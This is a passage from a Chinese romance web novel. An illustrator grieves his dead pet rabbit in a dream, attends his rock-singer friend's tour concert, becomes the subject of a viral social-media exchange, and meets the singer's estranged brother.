费臻迅速占据了床的右侧,盖好被子,身体紧紧贴着斑驳的旧墙,留出了大半的空间。
庄明越站在床边,陷入了沉思。
床上多了一个人,而且还是费臻,要是被费臻的狂热女友粉知道,他说不定会被打死。
“怎么不上来,是你自己邀请我的。”费臻的声音从被子里传来,带着鼻音,和平时不太一样,“关灯,睡觉。”
庄明越应了一声关掉床头灯,摸索着爬上床,在床的左边躺下,尽量不碰到费臻。
弹力不佳的床垫因为另一个人的重量而微微下陷,属于费臻的淡玫瑰味瞬间将庄明越包围,提醒他这里有的不是曾经盘踞枕畔的小兔,而是一个活生生的人类。
时间一分一秒过去,黑暗中只能听到两人并不平稳的呼吸声。
庄明越一动不敢动,度秒如年,实在忍不住了,想爬下床去睡费臻那一张。
他刚一动作,温热的身体就靠了过来,紧接着,属于摇滚乐手的手臂箍住了他的腰。
庄明越石化了。
“费臻?”
“别动。”费臻的声音近在耳畔,“我冷。”
他的手臂收得更紧,下巴抵住庄明越的后颈,不多时另一条手臂也从庄明越的腋下环了过去,形成了一个彻底环抱的姿势。
庄明越:靠。
被粉丝打死也好过被费臻抱住,这样让他怎么睡!
庄明越试图做最后的挣扎:“费臻,你这
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样我睡不着,要不你转过去,我抱着你行吗?”
回应他的是身后人绵长的呼吸声。
睡着得好快。
庄明越苦笑了一下,尝试把费臻的手臂掰开,但费臻似乎是老虎钳转世,他掰一掰,反而惹来更用力的钳制,费臻的嘴唇甚至贴上了他的后颈。
庄明越叹了口气,想起来同在一个寝室的时候,费臻的床上换了不下二十个长条抱枕,都是动物形状,价格不菲。
那时他觉得费臻有钱又浪费,阿贝贝都变来变去,现在想来可怜的抱枕们是被费臻拦腰截了两段。
庄明越腰间生疼,想出声把费臻叫醒,但费臻的旧伤似乎很疼,刚才脸色都白了,他再把人吵醒,好像十分缺德。
庄明越认命地闭上眼睛。
算了,他再怎么样也比那些抱枕结实,挤不坏。
夜色渐深,窗外呼啸的汽车声逐渐止息,枕边人的呼吸显得愈发清晰,一下一下地打在庄明越的后颈上。
庄明越别扭,庄明越困倦,庄明越逐渐睁不开眼。
意识坠入黑暗,又缓缓升起光亮,脚下是一望无际的草坪,远处是起伏的灰色环形山,天空中悬挂着一轮巨大的蔚蓝色星球。
庄明越茫然地环顾四周,不知道自己为什么会在这里。
就在这时,一阵窸窣声从脚边传来,同时脚踝感觉到了毛茸茸的触感。
庄明越低下头,看见一只小小的白色垂耳兔挨着自己,鼻子抽动着,活泼又健康。
庄明越的呼吸瞬间停滞了。
“……窝窝?”
小兔甩了甩耳朵,仰起脑袋,明亮的琥珀色眼睛盛着温柔。
庄明越难以置信地蹲下身,看得更仔细。
他的窝窝应该看不见听不清,眼前的小兔看起来却非常健康,可是和窝窝长得有九成九的相像。
“窝窝,是你吗?”
16. 第 16 章
“爹地。”一个声音在庄明越脑海中响起,稚嫩却清晰。
“爹地,欢迎你到蹦星做客哦。”
窝窝的声音欢快又顿挫,像兔子感到快乐时常常跳的兔子舞。
“这里有很多我的同类,他们有的长毛,有的短毛,有的眼睛超级大,也有眼睛很小很小的,有的耳朵只长了一丢丢,有的比我还长,我们每天在环形山里玩你追我逃!这里没有医院和医生,我的耳朵不用再扎留置针,牙不疼了,肚子也不疼了。”
窝窝停顿了一下,不好意思地表示,“爹地,我终于知道你不是一只超级大兔子,我是和你原来是不一样的物种。”
“虽然我是一只普普通通的小兔子,”窝窝的声音里没有遗憾,只有接受了自己本质的坦然,“医生说,我生下来牙齿咬合有问题,肠子也和别的兔子长得不一样,所以会一直生病,一直很瘦,活不长,会出生不久就被抛弃。”
“可是,还是有好心人帮我送到医院,爹地也还是把我带回家了。”
庄明越在草地上躺下,窝窝如同以前一样,一下一下地舔着他的头发和脸颊,也舔掉了上面咸咸的泪水。
“你给我缝软软的垫子,给我吃最香的草,每个月都带我上医院体检,每天都鼓励我会好起来的,陪我做追逃游戏,给我画了好多好多的肖像画。总有人说你养不活自己还一次次给我看病,说我只是一只病兔子,让你快点把我扔了,可你从来没有听过。”
庄明越侧躺着,手指摸着窝窝顺滑的白色短毛,眼泪顺着脸颊,流进了耳朵里。
“爹地,我过了两年很幸福的日子,是你给了我尊严。”窝窝的声音依然轻快又从容,“你别不信,小兔子也是有尊严的,被人珍视地活着,很多我的同类都得不到,但你给了我这个。”
它使劲地舔去庄明越脸上越流越多的眼泪。
“所以,爹地,不要再难过了。”
“我很好,我只是比别的兔子提早一点回归母星,这里有好多朋友,我会跑得很快很快,不再会消瘦,不再会拉不成形的便便,不再会牙疼得吃不下香香草。”
“你要相信,我在你身边过完了很好的完整的一生。”
庄明越缓缓坐了起来,把窝窝抱在怀里。
沉甸甸的,和它活着的时候完全不一样。
窝窝安安静静地在庄明越怀里待了一会儿,忽然很认真地问:“那个叫费臻的人,爹地你喜欢他吗?”
庄明越愣了一下,反问:“窝窝为什么只去他梦里?”
“因为你的悲伤太强烈,窝窝进不来,他又一直在看着你。”小兔子仰起头,琥珀色的眼睛连接了梦境与现实,“如果你像喜欢窝窝一样喜欢他,也要注意他的健康,人类虽然比兔子强壮,可是也会生病的。”
庄明越怔住了。
阵风吹过,一望无际的绿色草场轻柔地震颤,有其他兔子跺脚放哨的声音传来,窝窝下垂的耳朵抬了一下,从庄明越的怀里跳了出来,与他道别。
“爹地,我要走啦。”
它往远方的环形山奔跑,那里有许许多多的兔子在等着它。
一阵光芒经过,小兔星球成了围棋赛场的样子,站在庄明越面前的不再是小小的窝窝,而是记忆里日渐模糊的身影。
栗色的中长发,脸上带着病容,一双丹凤眼却亮得惊人的女性。
虽然她的面容像蒙了一层雾气,不太看得分明,庄明越见到她的瞬间就认出她。
庄明越哑声喊:“妈妈——!”
母亲穿着她常在比赛时穿的一身亚麻衬衫,过去庄明越被她抱住时,还能感觉衣服扎扎的,紧接着五岁的他脸上总会留下一个口红印。
母亲慢慢走近,轻轻抚过他的脸颊:“小月亮,别难过。日有所思夜有所梦,这只是情感和记忆的投射。”
“我知道。”庄明越回应着,用力地看向母亲,想看清楚她的样子,但面前和眼里的雾气都越来越重,怎么也看不清。
“傻孩子,你不记得我长什么样,当然梦不到看不清。”母亲宽慰他,“但是,你对毛孩子的爱,是真实存在的。”
“可是我没能养好它,他们说窝窝不应该只活了这么一点点时间,都是我不好。”庄明越用手背抹去眼泪,“我总是搞砸一切。”
“没有搞砸这一说,他人说什么并不重要,关键在于你是否对得起自己的内心。”
“妈妈知道你尽力了。现在,你可以抬头挺胸,向前走了。”她的手指轻轻点在他的心口,“告诉大家,你度过了让自己疼痛的日子,却依然有认真生活的决心和勇气。”
心头的伤口结了痂,有月光柔和地映照其上。
庄明越睁开眼,清晨的微光透过微开的窗帘照在枕边。
他侧躺着,脸上是湿漉漉的泪痕,费臻正用指腹轻缓地拭去他眼角不断涌出的新泪。
费臻眼底带着一夜未愈的疲惫和刚醒来的惺忪,动作却无比专注和缓。
看到庄明越睁大眼睛,费臻终于停了下来。
“做噩梦了?”
“不是噩梦,是很好的梦。”
庄明越还没说出下一句,费臻就问:“梦到窝窝了?”
“它说我给了它很好的一生。”庄明越停顿了一下,“还梦到了我妈,可我已经记不清她长什么样,这么多年了也不敢在陈年的新闻里搜她的照片,梦里也看不清脸,可她不怪我。”
“她觉得我还有继续生活的勇气。”
“费臻,因为有你在,我才会有这样的好梦。”
费臻递过抽纸,低声回应:“如果没有我,你也还是会梦到的。”
“但是可能会晚几年。”庄明越深深吸了一口气,“凡事没有如果,虽然黑狗还在我身边,我不再害怕它,也不再任由它摆布,你陪着我,让我能给它套上项圈,牵上牵引绳。你在和我一起饲养它,这么说,不知道你能明白吗?”
“嗯,我知道你想表达什么,这点默契总是有的。”费臻说着,眼睫低垂,喉结滚动了一下,耳根有点红。
他伸出手臂,将庄明越拉进怀里,很用力地收紧手臂。
“一切都已经过去了,没有人能够伤害你。”
“嗯。”庄明越起先是感动,不多时变成了喘不过气,“谁要是和你结婚,就算舍己为人了,我
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要被你勒死了你管不管……”
“你手劲比我更大吧,我没用力。”费臻松开手,困惑地看向自己的手臂,半晌才说,“真的有那么不舒服?”
庄明越从费臻怀里逃出来,骨头发出了几声脆响。费臻也听见了,不由得沉默了。
庄明越活动了一下身体,问:“几点了?”
“六点半。要不你继续睡?”
“你呢?”
“我也睡,下午再和他们会合。”
“你睡哪儿?”
“客厅。”
庄明越:“……”
费臻转身要走向门:“你好好睡,我会给你带早饭。”
庄明越扣住费臻的手腕,另一只手拍了拍床:“非要我说明白,上来啊你。”
费臻笑了一声,翻身上床,又躺回了自己的位置,这次没有贴墙,也没有拿庄明越当抱枕,老老实实地盖上被子,把眼睛闭了起来。
从这天起,费臻那张价格不菲但尺寸只能供小个子人群使用的床就再也没被睡过,放在客厅里,庄明越会往上面堆新到的画框。
两人默契地睡同一张床,夜里翻身时常不小心碰到对方,都会自然而然地调整姿势,继续沉睡。
又过了两天,费臻开始在睡前分享一些缺德日常。
像是阿太今天感冒了,唱歌像敲丧鼓。
过儿因为想搞个大的又按坏了贝斯,老板说你要是在舞台上搞坏那可完蛋了,过儿自嘲他之前在酒吧演奏,不小心掉进观众席了也无人在意。
还有一些黑粉给他们取的绰号等等。
庄明越也会接话,吐槽甲方要求的五彩斑斓的黑和修改后最终还是满意第一版。
还有窝窝的哪些部位最迷人,比如咀嚼提摩西时一直动的三瓣嘴,可以拉成一长条的尾巴,垂下又能举起的耳朵,没有肉垫但毛乎乎的大脚板。
有时候聊着聊着,其中一人先睡着了,另一人便安静下来,在均匀的呼吸声中酝酿睡意。
他们从死对头到朋友,再到抵足而眠,躺在同一张床上,分享彼此的日常与疲惫,时常耳语,偶尔沉默。
这天傍晚,庄明越站在厨房窗前给费臻带过来的十几盆多肉浇水。
阳台逼仄,放个画架就满了,平时只用来画画,晾衣服得上天台,邻居素质不详,搬上去的绿植和新衣服都容易被顺走。
而家里只有厨房有空地能放多肉,但通风和光照条件也差,很快就死了一盆根系弱的小贵货。
费臻靠在阳台门框上,没有玩手机也没有写乐谱,安静地待着,当一个清闲的美男子。
庄明越浇水到一半,伸了个懒腰,抬头询问:“巡演什么时候,你怎么有时间一直呆在这里?”
费臻蓦地一笑:“后天。”
庄明越握着水壶的手顿了一下:“……后天?最迟明天就要飞走了吧,那你今天还在这儿闲晃?”
“是在养精蓄锐。”费臻的目光落在他沾了一点泥土的指尖上,“而且明天才走,今天当然要在这儿。”
他顿了顿,盯着庄明越询问,“后天晚上七点,内场第一排,你会来吗?”
17. 第 17 章
当晚,庄明越把费臻给他的电子票打印出来,贴在了自己的本子里。
他买了费臻同款的五年日记本,年份和颜色不一样,从2026年开始,封皮和扉页是绒花白,是和窝窝相同的颜色。
庄明越拆快递的时候,费臻正好也在,顺手下单了一个防污防水的PVC软壳,送给庄明越。
这本日记作为认真生活的一个起点,庄明越在上面郑重地写下了第一句。
【9.28视角解构乐队,广东巡演第一站-深圳。】
墨水难干透,担心蹭花了字迹,庄明越把它平摊晾着,和在浴室里的费臻打了个招呼,去宠物医院。
虽然窝窝不在了,但医院里住着几只病情不太稳定的兔子,他时常会过去看看。
费臻洗完澡,推门进来睡觉,瞥见了摊在桌上的日记本和贴得整整齐齐的票根。
他脚步顿了一下,没说话,只是压不住嘴角的弧度。
第二天一早,庄明越随费臻一行人上了专机。
一行六个人,再加上经纪公司的经理和助理,众人落地后简单休息了一下,就投入了紧张的准备工作。
顾梦和周双叶去了live house附近的商场,庄明越没有分到什么具体任务,也不好意思与她们一起去逛,但也不想先一步回酒店休息。
比起一个人待着,他更想多看看费臻。
乐队走台试音,音响师和灯光师在他们身后穿梭,庄明越向后退了几步,到了舞台边缘的阴影里,抵上正贴合他后背的音箱。
就着这个姿势,庄明越摊开随身带的五年日记,找了一处空白画起了速写。
九月底的深圳依然炎热,费臻穿了一件单薄的黑衬衣,掺了亮丝的绣线在追光灯的照射下泛着斑斓的反光,庄明越隐约看出那是一弯月亮。
费臻将袖子挽到手肘,低头调试吉他效果器,侧脸被舞台顶灯映照出分明的明暗,高挺的鼻梁下一小块阴影窝在唇珠里,任凭谁见了都会说一句“好亲”。
庄明越内心平静如水,铅笔在纸面上走得很快,发出唰唰的声响,寥寥数笔,勾勒出了费臻的样貌。
“庄老师。”
郭扬不知什么时候放下贝斯溜了过来,递给庄明越一瓶怡宝,顺便往速写本上瞄了一眼。
他的眼神就定住了,露出了一种忧伤混合不甘的奇怪表情。
庄明越被他盯得发毛,放下递过来的纯净水,下意识又地把本子合上,定了定神后才重新摊开。
他觉得自己画得应该没什么问题,虽然很久没有速写,但这几分钟的绘画十分顺手。
“过儿老师,怎么了?”
郭扬没回答,沉默是今晚的live house,他这样感叹着,回头朝休息区招手。
冯泰慢悠悠地晃过来,嘴里含着颗去火的润喉糖:“咩啊?”
郭扬指了指速写本。
冯泰低头,看到白纸上那个被铅笔线条捕捉得美轮美奂的费臻,糖差点从嘴里掉出来。
他艰难地咽下糖,表情复杂:“怎么画得这么帅?谁还不是两个眼睛一张嘴了,凭什么?”
庄明越愣了愣,低头看自己的速写。
客观来说,他觉得自己画得挺写实的,再说他又不是梦男,没那必要搁那儿给费臻猛加滤镜。
庄明越的回答耿直得像抬杠:“他长什么样我就画什么样。”
郭扬和冯泰对视一眼,交换了一个默契的眼神。
“庄老师,我们两个有幸能得到你的速写吗?”
庄明越点了一下头,问现场工作人员借了两张白纸。
冯泰疑惑:“直接从你本子上扯一张不就行了?”
郭扬怼了怼他肋巴骨,二人走远了一些,郭扬低声说:“你没看出来啊,我臻的同款本子。”
“什么意思啊,你说庄老师学人精?”
“哎!”郭扬猛薅自己头发,“都是一个乐队的,你知道猪八戒为什么照镜子?”
冯泰呵了一声:“我只知道那个唐老鸭为什么照镜子,马上要变盐水鸭,给自己排毒呢,臻哥的人也敢惹。”
“你这都是什么跳跃思维,抓紧了,庄老师要开始画我们俩了,你把鼓棒捡起来,快点摆造型。”
庄明越的速写很快,抓住了二人神态,五六分钟时间,两人捧着新鲜出炉的草头,脸上洋溢着过年收压岁钱般的梦幻表情。
“绝了。”郭扬举高速写,对着光端详半天,像在看一张超大额支票,“我这就发给梦梦,让她看看什么叫高雅艺术。”
冯泰已经拍了照发给周双叶,边走边美美扣字:“双叶说这张比我的高p红本子照还像个人,采购结束,她要马上赶回来看。”
两人心满意足地把画放在各自的随身用品里,才再次加入费臻,但忙碌的身影都透着得意。
庄明越低下头,又画了几张费臻。
第二天晚上,广东巡演第一场正式开始。
庄明越被裹挟着往前移动,身边到处是举着灯牌和荧光棒,以及各种他叫不出名字的应援物。
和之前的音乐节不同,这些热情观众都是从全国各地赶来,专程为了这一支乐队而来,目标更明确,气氛也更热烈。
庄明越顺着人潮向前走,一直有推背感,一直走到他的站位,才喘了一口气。
太超过了,对于常年在自己家和宠物医院两点一线的人来说,太超过了。
但想要面对面看到费臻献唱的欲望压倒了一切。
开场前夕,在几乎要把场馆顶棚掀翻的喊叫声中,追光灯打在乐队三人的身上。
他们感谢各位朋友的厚爱,如同再次和老友相遇,庄明越身边有人激动,有人抽泣,情绪万千,让他也不自觉为现场气氛深深着迷。
紧随开场白之后的第一首歌是首非常欢乐的快歌,前奏的鼓点疾风骤雨般落在听众耳膜,贝斯低频震得人胸腔发麻。
费臻握着无线麦克风架,身体随着节奏剧烈摆动,皮裤包裹的长腿在舞台上肆意踱步,开口第一句歌就让在场众人又爆发出了一阵激动的叫喊。
更多的人举起手机录影留念。
庄明越老神在在地站在第一排,很专注地控制自己的心跳和咽喉,生怕一个不注意就会跟着一起叫起来。
他是作为亲友前来支持费臻,不是热切的粉丝,不应当被其他人的情绪混入,跟着一起摇摆。
然而在一首接着一首的青春摇滚旋律中,庄明越逐渐不知天地为何物,唱得比周围的几个粉丝妹妹更响亮。
倒数第二首歌时,费臻换了把木吉他,坐到舞台边缘延伸出来的高脚凳上。追光灯收束成一小束,将他整个人笼罩在暖色调的光圈里。
“下面这首,讲的是旧友
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重逢又分别,”费臻调整了一下麦克风的高度,声音透过音响传来,“叫《遇见》。”
前奏响起,是庄明越填词时听过无数遍的旋律,此刻被完整的编曲包裹,完成度更高,也更加打动人心。
在几千人共同呼吸的空间里,这首歌被费臻唱了出来。
“我们在旧时的桥头,这样悄然分手。
可否告诉我在下个岔路口,你要往哪里走。
你曾说无论何处,都愿与我并肩同游。”
费臻唱得很认真,没有多余的花哨技巧,只是把那些庄明越和画画同步进行的写了又改的歌词含在嘴唇里,再像讲故事一般清晰地吐露给现场所有人听。
庄明越跟着哼唱,想起当初被费臻硬拉着填词时,那种“我一个画画的何德何能”“八百万赞终究要毁于我手”的惴惴不安,还有顾梦和周双叶看到歌词时亮闪闪的眼睛。
此刻这些词被几千人安静地听着,庄明越身边的小姑娘也在轻轻跟唱。
《遇见》唱完,场馆静了一瞬,然后爆发出比开场更热烈的尖叫。
乐队三人相视一笑,费臻低头调了一下吉他弦,然后抬起头,对着麦克风说:
“最后一首歌,献给今晚赶来支持我们乐队的你们,叫《唯一嘉宾》。”
这首歌的曲风和《遇见》出奇地一致,同样是节奏舒缓却暗含力量的摇滚,同样是温暖得近乎私密的倾诉感。
庄明越不知道顾梦和周双叶在费臻的创作里参与了多深,但此刻听着歌词,他忽然明白了为什么费臻会喜爱她们的填词。
“你站在舞台中央,
我在台下轻轻地跟唱。
谢谢你邀我做嘉宾,
月亮照谁也无妨,
待到散场,
我仍是自己唯一的光。”
从听众视角写的歌词,借由主唱的口中唱出,庄明越感受到了某种隐秘的震撼。
他侧过头,看到不远处两个举着灯牌的女孩正跟着旋律轻轻摇摆歌唱,灯牌上写着“罗谢”“视角解构”。
无人知晓她们叫什么名字,做什么工作,从哪里赶来。
她们只是几千个面孔里普通的两张,和此刻场馆里所有其他人一样,被同一束光吸引。
但他知道,散场之后,她们会回到各自的生活里,在这里充满能量后,继续为自己发光发热,做自己的唯一嘉宾。
唱到最后一段副歌时,费臻放下了吉他,站起身,走到舞台最前沿,笑着将麦克风举向前排观众。
庄明越旁边的女孩忽然扯着嗓子喊:“感谢上天让我抽中这个位置!!罗谢——我爱你——你听见了吗!!!”
呐喊声嘶力竭,带着哭腔的炽热瞬间点燃了周围一圈人的热情。
更多声音加入,声浪一波高过一波。
“罗谢——谢谢你写的歌陪我度过最难熬的时光——”
“视角解构——我会听一辈子,你们一定要唱一辈子!!!”
庄明越在声浪中心,耳膜嗡嗡作响。
他深吸一口气,踮起脚尖,也用尽全力喊了出去:
“费臻——我爱你——!”
旁边那个刚才喊“罗谢”的女孩猛地转过头,眼睛瞪大像铜铃,一脸你干嘛啊的震惊。
“不讲武德噢!”她扯着嗓子,带着被背叛的悲愤,“你怎么喊本名!”
18. 第 18 章
庄明越的脸烧了起来,但这里是费臻让他待的,他硬撑着理直气壮:“喊费臻比较顺口!”
多看一秒旁人就少看一秒费臻,女孩根本没心思看旁边的人长什么样,就立刻转头看舞台,一边扯着嗓子问庄明越:“这么说你认识他吗!!我可以许愿一个高考加油学业有成的特签吗!!”
庄明越:“……我问问!!”
舞台上那个正在谢幕的身影,往庄明越这个方向看来,勾起了唇角。
当晚巡演第一场落幕,庄明越给歌迷妹妹要到了特签,任务顺利完成,她激动得哭个不停,终于能好好看一下帮她要到特签的帅哥脸蛋,二人合了个影。
庄明越还有油画稿件要完成,比其他人先一步飞回了杭州。
巡演首站结束后,视角解构官方账号发了几张高清返图,评论区照例一片“美神降临”“爱听多唱一年开一百场好不好”“好听麻了下个月还追”的尖叫。
但真正引爆路人吃瓜热情的是次日凌晨一条圈外人士的微博。
【有画-明月不照我V:虽然前排离舞台还是很远,但是总感觉喊“费臻我爱你”被本人听到了,他会不会觉得我真的爱他?算了,我是真的很爱他![小兔跺脚][小兔跺脚][小兔跺脚]】
这位画手的微博粉丝不算太多,一万出头,在有画app算有一点人气的小画家,但这条帖子被转了好几万条,热评第一赫然是转发微博的费臻。
【视角解构-RocherV:签名已寄出,谢谢你爱我。[图片]】
图片是一张特签,用他标志性的潦草字体写着“纪念明月老师为本曲填词,你是最棒的,谢谢你能来听我们的歌”,下面还有一行小字:
【同时纪念《遇见》线上同时收听听众人数破万。——你的费列罗】
评论区彻底爆炸。
庄明越凌晨才下的飞机,回来检查完费臻的多肉又发完这条微博以后倒头就睡,第二天十点吃药的闹钟响才醒。
他睡眼惺忪地吃完药解决完早餐,点开微博,发现私信和at的数量双双999+消息。
一瞬间,庄明越以为自己的账号又被人网爆了。
手往上一划,他看到了费臻的转发和那张诚意十足的签名。
庄明越愣在床上,足足发了五分钟的愣,然后一头把脸埋进窝窝的小垫子里,发出了一声惊天动地的哀嚎。
他半夜在微博大号上夸费臻,本意是想让自己这边对摇滚音乐感兴趣的粉丝关注一下视角解构,毕竟他们真的很值得安利。
但是卖安利就卖安利,你总该好好介绍吧?
什么叫“我是真的很爱他”!!!
人就该早点睡觉,不应该在半夜发有的没的,现在一整个社死,费臻居然还转发!
现在好了,热评已经炸锅了!
甜心费列罗今天熬夜了吗熬了:【你的费列罗?什么叫你的费列罗,官宣了吗?】
周女士很不高兴为您服务:【这位劳斯在有画主页全是小动物和人物设子,唯独安利了一个摇滚乐队,还点名真的很爱主唱,可见是真的很喜欢。接受安利,我也来听听看。】
你知道的我原本不磕cp:【一个问“他会不会觉得我真的爱他”,一个回“谢谢你爱我”,搁这儿演二人转呢,你们搞艺术的真的把告白当呼吸一样自然,哪天真在一起了记得发喜帖哈,我随十块钱份子。】
月亮在水里你在我心里:【呜呜呜呜我看到了什么!!明月老师之前被唐老鸭引导网爆,很短的时间里恢复更新,还越画越好了。当时特别为老师担心,今天才知道老师还给乐队写了歌词,双厨狂喜!!!视角解构和明月老师都给我大火!!!!!】
一生摇滚情(弹棉花版):【罗谢终于有除了乐队以外的人类社交了,还是正经画手,明月老师你改名叫明月照罗谢吧哈哈哈哈哈。】
半支荼蘼-线香V:【罗谢新歌曲风大变的原因找到了。】
热评区之外,一条新增粉丝评论点赞数还在持续上升。
阿加莎·克里斯蒂:【别人破万是炫耀数据,你破万是写“谢谢你能来听我们的歌”,纪念破万是顺带的“同时”,从来没这么肉麻过诶,罗谢你被隔壁半支荼蘼的主唱夺舍了?[戳脸]】
庄明越看着看着在床上翻滚起来,他现在再把微博删掉也来不及了。
翻滚到一半脑袋磕到墙壁吃痛,也冷静了下来,庄明越突然想起一个关键问题。
他没有at费臻和乐队的账号,费臻也只是知道他有微博和有
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画的这两个号,又没有关注他,怎么这么快知道他发了什么?
庄明越艰难地从垫子里抬起头,颤抖着给费臻发消息。
庄明越:【你的网速怎么这么快,我凌晨三点发你凌晨三点零五分转发还上传了签名?】
费臻隔了很久才回:【当然是因为我偷偷关注你了啊。】
庄明越秒回:【哪有人偷偷关注还理直气壮说出来的?】
费臻反驳:【你昨天喊爱我的时候不也挺理直气壮吗?】
庄明越咬牙切齿:【不爱了!脱粉了!】
费臻:【我现在就公开关注你。你想回关我吗?】
庄明越:【当然了,加上了。】
两个原本风马牛不相及的账号新增了互相关注,两边眼尖的粉丝大喊着过年了,立即成立一个超话,并且在此后很长的时间里都在讨论谁攻谁受谁更爱。
这些都是后话,眼下的费臻关心庄明越吃了没有:【菜洗了吗,中午烧饭给自己吃?】
庄明越盯着这毫无过渡的话题转折,有点无语住了。
庄明越:【你不在我就点外卖。】
费臻:【[变成兔子][啃你头发]】
费臻撤回表情包:【用顺手了。你好好吃饭,别点不卫生的店,等我五天后回来,给你带巡演周边。】
庄明越:【谁要那个!】
费臻:【新款公仔,可以和之前的挂在一起,要不要?】
庄明越:【要(。你好好睡觉啊不要熬大夜。】
费臻:【你也是。】
庄明越把手机扔到床的夹缝里,深吸一口气。
十秒钟后,他又把手机捡了回来,把那张费臻单给自己的电子特签存进了“重要文件”的手机相册分类。
国庆假期第三天,庄明越起床签收了费臻寄来的实体签名。
特签和他人收到的都不同,巴掌大一张,却很精美,庄明越把它夹到了日记里。
算着时间差不多,他边画油画边等费臻到家,家门忽然被敲得震天响,又传来了两个年轻男人的争执声。
其中一个,庄明越很耳熟,差点脱口而出,“你还知道回来啊”。
但另一个他从来没听过,只觉得声音和费臻有几分相像。
19. 第 19 章
庄明越打开门,首先看到了费臻帅得醒目的脸。
再往旁边一看,有个和费臻眉眼十分相似的男人,从打扮就能看出比费臻更年长一些,藏蓝色西装,头发梳成大人模样,脸上带点不走心的微笑。
庄明越猜想他就是费臻的哥哥费治。
费臻的脸色却很不好,庄明越很少看见他臭脸,现在的费臻却是十足的不爽,把情绪外放到了极致。
他看到庄明越,收敛了表情,几秒钟的时间,嘴角就涌起一颗梨涡:“我回来了。”
“欢迎回来。”庄明越应声,顺手把费臻背着的吉他拿下来,挂到大门后的衣帽架上。
费治见此情景,审视地打量庄明越,那一抹笑容也变得比较真情实感。
他凑过去,贴在费臻的耳畔低声询问:“这位就是小月亮?”
费臻没理他,进了门就把庄明越挡在身后,握着门把就要关门。
“你还是对哥哥这么没礼貌。”
“你做过一件值得别人尊重的事吗?”
“怎么没做过,要不是我帮你顶着压力,你能一连几年不回家过年?”
费臻蹙眉,为数不多的耐心正在消失:“如果你只是来说一些废话,那慢走不送,我和庄明越还有正经事要做。”
“我也有正经事要转告你。”费治笑问,“十月八号回家吗?妈说你已经好几年没参加过建厂纪念日了,今年是三十周年,你再不露面,老头子非得气死不可。”
他们两个的老父亲费春峻是个很容易被气病的人,基本每年费臻不回家,他都会病一场,有两次还住了院。
但费臻态度坚决:“我会单独约妈出来,婉拒你和老头子。”
费治笑了一声,像是早就料到这个回答。
他的目光越过费臻,再次落在庄明越脸上,带着某种兴味盎然。
“小庄,”费治的语气放得轻缓温柔,“三十周年的建厂纪念日很有意思,听小臻说,你喜欢吃巧克力?想不想过来看看?”
庄明越看了半天兄弟拌嘴,听到费治的邀请,下意识地回答:“费臻都不去,我去干什么?”
费治一直被费臻堵在门口,听完庄明越的回答,却是向前一步,握住了庄明越的手。
“家弟多劳你费心,想单独招待你。”
费臻见了费治的举动,整个人绷紧了一瞬,迅速地拍掉费治的手,用身体将庄明越完全挡在门内。
“这是我的第一好。”费臻声音压得更低,毫不客气地下逐客令,“基佬滚远点。”
费治脸上的笑终于僵住了,二人变得剑拔弩张,如同仇人相见,分外眼红。
庄明越看看费臻又看看费治,总觉得自己好像没有领悟什么重要的东西,他从厨房里提了两箱昨天周双叶送来的巨无霸葡萄柚,小跑两步,把提手塞到费治手里。
“费臻的哥哥,”他这么叫费治,“麻烦你国庆节赶过来看费臻,这两箱水果你拿着。”
费治露出了一言难尽的表情,半晌“哈”了一声:“是因为小臻柚子过敏才给我的?”
庄明越反问:“那你也过敏吗?”
“不过敏,我确实也很喜欢柚子。”费治掂了掂,就算是常年健身的他也觉得很沉。
庄明越的态度摆明是送客,伸手不打笑脸人,费治不再多言,望着神色冷素的费臻,淡淡说,“妈那边你自己去说。”
他转身,走了两步,又停下来,没有回头。
“这两年以来,她一直在惦记你。”
说完这句,他大步下楼。
没过几秒钟,楼道里回响起费治骂骂咧咧的声音。
费臻问:“你干什么了?”
庄明越反手指向厨房:“过儿给的五色糙米我不爱吃,顺手塞了十小包进水果箱子。”
老小区没有加装电梯,庄明越家在五楼,费臻没忍住笑了。
“就那么几秒钟,你能塞十包进去?”
“我有点生气,觉得他来者不善。”庄明越搓了搓手,“而且他握我手,搞这种莫名其妙的社交礼仪,我起鸡皮疙瘩。”
“恐gay?”
“恐男。”
“那怎么和我睡一张床没事?”
“你不一样。”庄明越突然摸了一把费臻的头,“你说了咱们俩第一好。”
晚上,二人关了灯,庄明越躺着酝酿睡意,费臻突然问:“睡着了吗?”
“当然没有,我一直先等你睡着。”
“怎么,怕我偷袭你?”
“我有什么可偷袭的?只是入睡困难。”庄明越好奇地问,“今天你想分享点什么?”
“你不好奇吗,我说我哥从来没干过让人尊重的事。”
“好奇啊,但我也不好主动问,这是你们兄弟之间的事。”
“可我想告诉你。”
“你说。”庄明越调整到最舒适的姿势,“我保证不睡着。”
“大二的时候,我不是故意忽视你。”费臻回忆起庄明越退学前那段日子,“我上大学前,我哥组了个乐队,叫‘第一视角’,他是主唱,当时的贝斯手和鼓手还是过儿和阿太,吉他手是孙照寒,我算是大孙的替补。”
庄明越问:“那你哥为什么要退出?”
“他和大孙闹掰了
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。”
“这样啊。”庄明越似懂非懂。
“嗯,所以我觉得他没责任心。他退出后,我和大孙因为他的事别扭了两年。”
庄明越总觉得费臻藏了些什么没有说,但费臻缄默不语。
庄明越没有闭眼,只等费臻什么时候再开口。
不多时,呼吸声渐弱。
费臻又问:“你睡了吗?”
黑暗中传来庄明越的轻笑:“没有,你接着说。”
下一刻,费臻靠过来,两个人的额头挨在一起。
“我从小就爱写日记,小时候记不太清了,但我妈看过我的日记,她说我幼儿园的时候有个带锁眼的日记本,里面记满了愿望,有一条是‘要和我的第一好永远在一起’。”
庄明越没接话,只是侧过身,在黑暗中看向费臻。
“后来她无意中说给我爸听,我爸说三岁看老,说我是个软弱的人,不像个男子汉,肯定一辈子没出息。”费臻的声音很轻,像在自言自语,“他把那个本子扔了,我妈找了很久没有找到,抱着我边哭边说对不起。”
“你妈妈很好。”庄明越眼睛有点热,往费臻的身前凑过去一点,低声说,“费列罗……别难过。”
“不难过,过去了那么久,我也不记得自己写过这些。”
“可是那时候的小费肯定很难过。”
费臻顺手抱住庄明越,蹭了蹭他的肩膀。
“还好,我就是觉得我爸特别狗,上上次他住院是看到我留长发,直接气昏过去,上次是要我继承家业,我让他再领养一个从小培养。我每年都不想见到他,这样对他好对我也好。我不明白我哥为什么为他鞍前马后,明明他也不想接手食品厂,而且我爸还拆散了他和他男朋友。”
费臻说到这里,突然停住,庄明越恍然大悟:“原来大孙是你哥的前男友!”
“是啊,他们两个偷偷谈了七年,除了我谁也不知道。”费臻叹息,“也算殃及池鱼了,大孙说一看到我,听到我写的歌就来气。”
